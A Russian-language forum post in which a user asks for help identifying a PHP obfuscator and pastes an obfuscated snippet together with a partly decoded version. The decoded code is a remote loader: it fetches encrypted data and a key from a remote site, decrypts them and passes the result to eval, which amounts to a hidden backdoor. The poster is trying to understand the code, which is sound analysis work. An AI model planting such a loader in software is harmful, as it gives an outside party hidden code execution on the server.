Помогите пожалуйста опознать обфускатор php
Уж очень интересно почему данный кусок кода обфусцирован
${"\x47\x4c\x4fB\x41\x4c\x53"}["\x6f\x72\x6azcfhd"]="k\x65y";${"\x47\x4c\x4fB\x41\x4cS"}["\x65\x7a\x6an\x76\x74"]="k\x65\x79\x63\x68\x61\x72";${"\x47\x4cO\x42\x41LS"}["\x6ff\x72\x78\x77qh\x70\x78o\x70"]="\x63\x68a\x72";${"G\x4c\x4fB\x41\x4cS"}["u\x70j\x78yu\x63\x76"]="i";${"\x47\x4cO\x42\x41L\x53"}["\x61rxlj\x74\x74\x76"]="\x72\x65s\x75l\x74";${"GL\x4f\x42\x41\x4c\x53"}["\x6b\x6eiah\x6ei"]="\x73t\x72";function secureV($str,$key){$iffrcsc="\x69";$awwlfawgwkx="st\x72";${"\x47L\x4f\x42\x41\x4c\x53"}["\x78\x70\x74c\x6a\x6c\x67"]="\x72e\x73\x75l\x74";${$awwlfawgwkx}=base64_decode(urldecode(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6b\x6e\x69a\x68n\x69"]}));$chrvlrx="i";$yrzulxgtnk="\x73\x74\x72";${${"GL\x4f\x42\x41\x4c\x53"}["ar\x78\x6cj\x74\x74v"]}="";for(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x75\x70\x6a\x78\x79\x75\x63\x76"]}=0;${$iffrcsc}<strlen(${$yrzulxgtnk});${$chrvlrx}++){${"GL\x4f\x42\x41\x4c\x53"}["\x68\x78\x69\x62\x73ye"]="i";${"\x47\x4cO\x42\x41\x4c\x53"}["vly\x79\x78\x75h\x67"]="k\x65ychar";${"\x47L\x4f\x42\x41LS"}["\x73\x69\x78\x71\x66\x69q\x6f"]="\x69";$whetqrg="\x63h\x61r";${"\x47\x4c\x4fB\x41\x4c\x53"}["n\x69ay\x68\x74u"]="\x73t\x72";${${"\x47\x4cO\x42\x41L\x53"}["\x6f\x66\x72xw\x71\x68\x70\x78\x6fp"]}=substr(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["n\x69a\x79\x68\x74u"]},${${"G\x4cOBA\x4c\x53"}["hx\x69\x62sy\x65"]},1);${${"G\x4c\x4fB\x41\x4cS"}["\x65\x7a\x6a\x6evt"]}=substr(${${"\x47\x4c\x4f\x42AL\x53"}["\x6frj\x7a\x63\x66\x68d"]},(${${"\x47L\x4fB\x41\x4c\x53"}["\x73\x69\x78\x71\x66\x69\x71o"]}%strlen(${${"G\x4c\x4f\x42\x41\x4cS"}["o\x72\x6azcf\x68\x64"]}))-1,1);$bdrpgti="\x72\x65\x73\x75\x6c\x74";$ymopwnos="\x63h\x61\x72";${$whetqrg}=chr(ord(${${"G\x4cO\x42\x41\x4c\x53"}["\x6f\x66r\x78\x77\x71\x68\x70\x78\x6f\x70"]})-ord(${${"\x47L\x4f\x42\x41\x4c\x53"}["\x76l\x79\x79\x78\x75\x68g"]}));${$bdrpgti}.=${$ymopwnos};}return${${"\x47L\x4f\x42ALS"}["\x78\x70t\x63jlg"]};}eval(base64_decode(secureV(base64_decode(file_get_contents("\x68tt\x70://site.ru/main/si\x74\x65/\x66\x69\x6c\x65s/get\x62\x61c\x6b.\x70\x68p?\x74ype\x3dd\x61t\x61&to\x6be\x6e\x3d".sha1(date("Y"))."&\x64at\x61\x3d\x70\x61\x6eel")),base64_decode(base64_decode(file_get_contents("\x68\x74\x74\x70\x73://site.ru/ma\x69\x6e/s\x69te/fi\x6ces/g\x65\x74\x62\x61\x63\x6b.\x70h\x70?typ\x65\x3dkey&\x74ok\x65\x6e\x3d".sha1(date("Y"))))))));
Частично получилось декодировал код через
https://developer.mozilla.org/ru/docs/Web/JavaScri...
Но дальше все равно не понятно
"${"GLOBALS"}["orjzcfhd"]="key";${"GLOBALS"}["ezjnvt"]="keychar";${"GLOBALS"}["ofrxwqhpxop"]="char";${"GLOBALS"}["upjxyucv"]="i";${"GLOBALS"}["arxljttv"]="result";${"GLOBALS"}["kniahni"]="str";function secureV($str,$key){$iffrcsc="i";$awwlfawgwkx="str";${"GLOBALS"}["xptcjlg"]="result";${$awwlfawgwkx}=base64_decode(urldecode(${${"GLOBALS"}["kniahni"]}));$chrvlrx="i";$yrzulxgtnk="str";${${"GLOBALS"}["arxljttv"]}="";for(${${"GLOBALS"}["upjxyucv"]}=0;${$iffrcsc}<strlen(${$yrzulxgtnk});${$chrvlrx}++){${"GLOBALS"}["hxibsye"]="i";${"GLOBALS"}["vlyyxuhg"]="keychar";${"GLOBALS"}["sixqfiqo"]="i";$whetqrg="char";${"GLOBALS"}["niayhtu"]="str";${${"GLOBALS"}["ofrxwqhpxop"]}=substr(${${"GLOBALS"}["niayhtu"]},${${"GLOBALS"}["hxibsye"]},1);${${"GLOBALS"}["ezjnvt"]}=substr(${${"GLOBALS"}["orjzcfhd"]},(${${"GLOBALS"}["sixqfiqo"]}%strlen(${${"GLOBALS"}["orjzcfhd"]}))-1,1);$bdrpgti="result";$ymopwnos="char";${$whetqrg}=chr(ord(${${"GLOBALS"}["ofrxwqhpxop"]})-ord(${${"GLOBALS"}["vlyyxuhg"]}));${$bdrpgti}.=${$ymopwnos};}return${${"GLOBALS"}["xptcjlg"]};}eval(base64_decode(secureV(base64_decode(file_get_contents("http://site.ru/main/site/files/getback.php?type=data&token=".sha1(date("Y"))."&data=panel")),base64_decode(base64_decode(file_get_contents("https://site.ru/main/site/files/getback.php?type=key&token=".sha1(date("Y"))))))));"